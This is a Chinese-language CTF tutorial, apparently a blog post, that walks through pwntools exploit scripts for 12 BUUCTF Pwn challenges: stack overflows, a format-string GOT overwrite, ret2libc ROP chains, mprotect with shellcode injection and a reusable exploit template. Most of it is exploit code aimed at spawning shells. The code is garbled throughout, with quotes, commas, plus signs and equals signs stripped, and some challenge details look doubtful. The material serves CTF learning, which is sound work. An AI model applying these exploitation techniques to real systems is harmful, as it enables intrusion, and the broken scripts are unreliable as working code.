用Python+pwntools复现BUUCTF Pwn题:手把手教你写12个EXP脚本
Pythonpwntools实战12道BUUCTF Pwn题EXP编写全解析在CTF竞赛中Pwn题目往往是最具挑战性的环节之一。本文将带你深入理解如何利用Python的pwntools库高效编写12道BUUCTF Pwn题的EXP脚本。无论你是刚入门的安全爱好者还是想提升自动化利用效率的CTF选手这些实战案例都将为你提供清晰的解题思路。1. 基础栈溢出从零构建第一个EXP栈溢出是最基础的Pwn漏洞类型我们先从最简单的test_your_nc题目开始from pwn import * io remote(node4.buuoj.cn, 26636) context.log_level debug payload bA * (0x0F 0x08) # 填充缓冲区rbp payload p64(0x401187) # 覆盖返回地址为后门函数 io.sendline(payload) io.interactive()关键点解析bA * N构造填充字符N缓冲区大小rbp寄存器大小p64()将地址打包为64位小端序格式context.log_level设置调试信息输出级别在warmup_csaw_2016题目中我们遇到了类似的场景payload bA * (0x40 0x08) # 64字节缓冲区8字节rbp payload p64(0x40060D) # 跳转到system(cat flag.txt)2. 变量覆盖与条件绕过技巧ciscn_2019_n_8题目展示了如何通过精确覆盖变量值来触发后门payload p32(17) * 14 # 连续写入14个17(0x11) io.sendline(payload)技术细节使用p32()将整数打包为4字节格式通过数组越界覆盖关键判断变量确保覆盖位置和值的精确性3. 格式化字符串漏洞利用实战面对[第五空间2019 决赛]PWN5这类格式化字符串漏洞pwntools提供了便捷的利用方式atoi_got elf.got[atoi] system_plt elf.plt[system] payload fmtstr_payload(10, {atoi_got: system_plt}) io.sendline(payload) io.sendline(b/bin/sh\x00) # 触发atoi实际执行system格式化字符串利用要点确定偏移量本例为10选择要覆盖的GOT表项atoi构造payload实现任意地址写4. 高级ROP链构造技术在ciscn_2019_c_1中我们需要构造完整的ROP链实现ret2libc# 第一次攻击泄露libc地址 rop ROP(elf) rop.raw(bA*88) rop.call(elf.plt[puts], [elf.got[puts]]) rop.call(elf.sym[main]) # 接收泄露地址并计算libc基址 leak u64(io.recv(6).ljust(8, b\x00)) libc.address leak - libc.sym[puts] # 第二次攻击获取shell rop ROP([elf, libc]) rop.raw(bA*88) rop.call(libc.sym[system], [next(libc.search(b/bin/sh))])ROP技术要点使用ROP()类简化链构造分阶段攻击先泄露地址再获取shell考虑栈对齐问题添加ret指令5. 内存权限修改与shellcode注入get_started_3dsctf_2016展示了如何通过mprotect修改内存权限后注入shellcodecontext.arch i386 shellcode asm(shellcraft.sh()) # 构造ROP链mprotect read shellcode rop ROP(elf) rop.mprotect(0x80eb000, 0x1000, 7) # 修改bss段权限为RWX rop.read(0, 0x80eb000, len(shellcode)) rop.raw(0x80eb000) # 跳转到shellcode io.sendline(flat({56: rop.chain()})) io.send(shellcode)关键技术shellcraft模块生成平台相关shellcodemprotect参数计算地址对齐二次交互发送shellcode6. 特殊场景下的利用技巧pwn1_sctf_2016题目中输入转换增加了利用难度# 程序将I转换为you导致长度膨胀 payload bI*20 # 实际变为60字节 payload p32(0x8048F13) # 覆盖返回地址应对策略计算实际填充长度3倍膨胀确保覆盖位置准确使用GDB验证内存状态7. pwntools调试技巧大全高效的调试能大幅提升漏洞利用开发效率# 常用调试配置 context.log_level debug context.terminal [tmux, splitw, -h] # GDB附加调试 gdb.attach(io, break *0x400806 continue ) # 内存泄漏检测 hexdump(io.recv(20))调试要点结合IDA反汇编设置断点监控关键内存区域验证ROP链执行流程8. 自动化EXP模板开发建立个人EXP模板库能显著提高解题效率#!/usr/bin/env python3 from pwn import * def exploit(): context.update(archamd64, oslinux) # 自动化远程连接 def conn(): if args.REMOTE: return remote(node4.buuoj.cn, PORT) else: return process(./binary) io conn() # 自动化ROP构建 elf ELF(./binary) rop ROP(elf) # 自动化libc解析 def get_leak(func): payload fit({OFFSET: rop.call(func, [elf.got[func]])}) io.sendline(payload) return u64(io.recv(6).ljust(8, b\x00)) # 示例利用代码 leak get_leak(puts) libc ELF(libc.so.6).address leak - libc.sym[puts] # 获取shell rop.call(libc.sym[system], [next(libc.search(b/bin/sh))]) io.sendline(fit({OFFSET: rop.chain()})) io.interactive() if __name__ __main__: exploit()9. 复杂漏洞组合利用案例jarvisoj_level2展示了如何组合多种技术# 既需要栈溢出又需要参数构造 rop ROP(elf) rop.system(elf.search(b/bin/sh).__next__()) rop.exit(0) # 确保程序正常退出 payload fit({ 0x884: rop.chain() # 覆盖返回地址 })组合技术要点链式调用多个函数平衡栈帧处理函数返回值10. 防御绕过实战技巧现代防护机制如NX、ASLR增加了利用难度# 绕过NX的方法比较 methods { ret2libc: 利用现有库函数, ROP: 拼接代码片段, mprotect: 修改内存权限, JIT-ROP: 动态构造利用链 } # 绕过ASLR的常用技术 aslr_bypass [ 信息泄露获取地址, 暴力破解低熵区域, 利用非随机化模块 ]11. pwntools高级功能详解掌握这些高级功能将极大提升EXP编写效率# 内存操作神器 mem flat({ 0x40: p64(0xdeadbeef), 0x50: b/bin/sh\x00 }, length200) # 自动化字符串格式化 fmt fmtstr_payload(5, {0x804a010: 0x1337}) # 高级ROP构造 rop ROP(libc) rop.execve(next(libc.search(b/bin/sh)), 0, 0)12. 实战问题排查指南遇到EXP不工作时的排查步骤验证漏洞触发确保能稳定控制EIP/RIP检查地址计算所有地址是否考虑ASLR偏移确认参数传递寄存器/栈状态是否符合预期调试执行流程使用GDB单步跟踪验证内存权限确保shellcode所在区域可执行# 实用的调试代码片段 def debug_rop(rop): print(rop.dump()) with open(rop.txt, w) as f: f.write(rop.dump())通过这12个典型案例的深入分析我们系统性地掌握了从基础栈溢出到高级ROP的各种利用技术。记住优秀的Pwn手不仅需要理解漏洞原理更要具备将复杂攻击流程转化为可靠EXP的能力。建议读者在理解本文示例后尝试独立解决BUUCTF的其他Pwn题目逐步构建自己的漏洞利用方法论。